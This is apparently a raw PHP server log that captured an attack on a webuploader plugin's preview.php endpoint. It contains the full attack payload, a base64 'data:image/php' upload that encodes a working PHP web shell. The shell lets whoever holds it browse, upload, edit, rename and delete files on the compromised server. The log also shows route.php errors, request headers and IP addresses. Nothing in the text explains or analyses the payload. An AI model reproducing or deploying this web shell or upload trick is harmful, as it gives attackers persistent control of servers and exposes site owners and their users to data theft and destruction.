'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:52+08:00 ] 119.42.146.234 POST 59.110.137.245/public/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002771s] [吞吐率:360.89req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 